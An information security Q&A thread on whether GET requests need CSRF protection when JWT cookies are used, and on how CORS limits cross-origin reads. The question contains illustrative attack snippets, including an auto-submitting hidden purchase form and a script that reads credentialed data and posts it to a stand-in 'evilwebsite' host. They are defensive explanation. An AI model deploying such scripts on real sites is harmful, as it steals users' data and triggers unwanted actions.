Information Security
cookies csrf jwt cors
Updated Wed, 04 May 2022 05:19:45 GMT

CSRF Protection Is Needed for GET Requests


I have a REST API that allows authenticated users to read data about their own account and make changes to their accounts. For authentication I use JWTs stored as httpOnly cookies. To protect against CSRF attacks, the REST API also supplies the client with what Angular calls an "XSRF token".

Angular's method of CSRF protection is to take the XSRF token your API creates and re-submit it back to the API with each request in an "X-XSRF-Token" header. It's up to your API to determine whether to allow the request or not. A script running on a hostile website would not have access to the XSRF token and so would be unable to submit it along with any CSRF requests.

When I went to implement my front-end requests in Angular using HttpClient, I noticed that the HttpXsrfInterceptor doesn't send the X-XSRF-Token header with GET and HEAD requests.

From the opinions I've read online, CSRF protection is not needed for GET requests because they don't (or they shouldn't) modify any data. The most a CSRF attack could do with a GET request is have the REST API send sensitive data to the user's web browser. The hostile website wouldn't be able to see that data.

Example 1: CSRF GET

If a hostile website tries to issue a CSRF GET request like this:

<img src="https://example.com/sensitiveData">

then sensitive data is transmitted from the API to the user's web browser, but the hostile website can't see the data, so everything is fine.

Example 2: CSRF POST

If a hostile website tries to issue a CSRF POST request like this:

<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

then the hostile website still wouldn't see any data, but it could cause damage to a the user. If the API requires the X-XSRF-Token header to be present then this attack can not succeed.

Example 3: CSRF GET via Ajax

But what if the hostile website forces the browser to make a GET request like this:

<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

Some CORS policies would stop this, but other CORS policies would still let it happen.

It seems that requiring CSRF protection on GET requests would mitigate this vulnerability.

Am I missing something important?




Solution

You are 100% correct on everything in your intro and examples 1 and 2.

Regarding example 3, CORS would kick in and block the script from receiving the result from example.com. The only way the given JavaScript would be able to read the response and send it off to evil.com is if one of the following conditions is met:

  1. This script is running on a domain that example.com has explicitly whitelisted via CORS headers and given it permission to use credentials
  2. The script is running directly on example.com (in which case you have fallen victim to an XSS attack, which is a serious problem).

Even in the event of #2 above you can prevent data from escaping to evil.com with a solid CSP (worth a Google if you are unfamiliar).

In short: This is the exact sort of attack that CORS is designed to protect against. Excepting the above items, CORS should block the response in all cases. So unless you have a specific example in which you believe CORS won't apply, I believe that your assertion that CORS might allow such requests through is incorrect.





Comments (4)

  • +0 – The CORS setup I have been using during testing set Access-Control-Allow-Credentials: true but no "Access-Control-Allow-Origin" header. This allowed the attack. Since I cannot combine Access-Control-Allow-Credentials: true with Access-Control-Allow-Origin: *, my API would respond with Access-Control-Allow-Origin: <whatever domain is making the request>. This would also allow the attack. It was originally my intention to allow anyone to interact with my REST API through their own websites. I'm not sure if this is feasible anymore. It seems feasible with CSRF protection on GET requests. — Aug 17, 2018 at 17:07  
  • +1 – In essence it sounds like you are trying to disable CORS all together. It definitely isn't designed to do that. You might look into how Facebook and the like build their JavaScript widgets that let people comment on any website. That is effectively what you do. — Aug 17, 2018 at 17:15  
  • +1 – One potential answer is to not use cookies for authentication. If you aren't using cookies then you can allow all origins in CORS and anyone can access your REST API willy-nilly. Of course you will have to find another way to store credentials. — Aug 17, 2018 at 17:17  
  • +0 – @ConorMancone You can store authentication in the URL. I suppose Angular could automate that. — Aug 17, 2018 at 19:24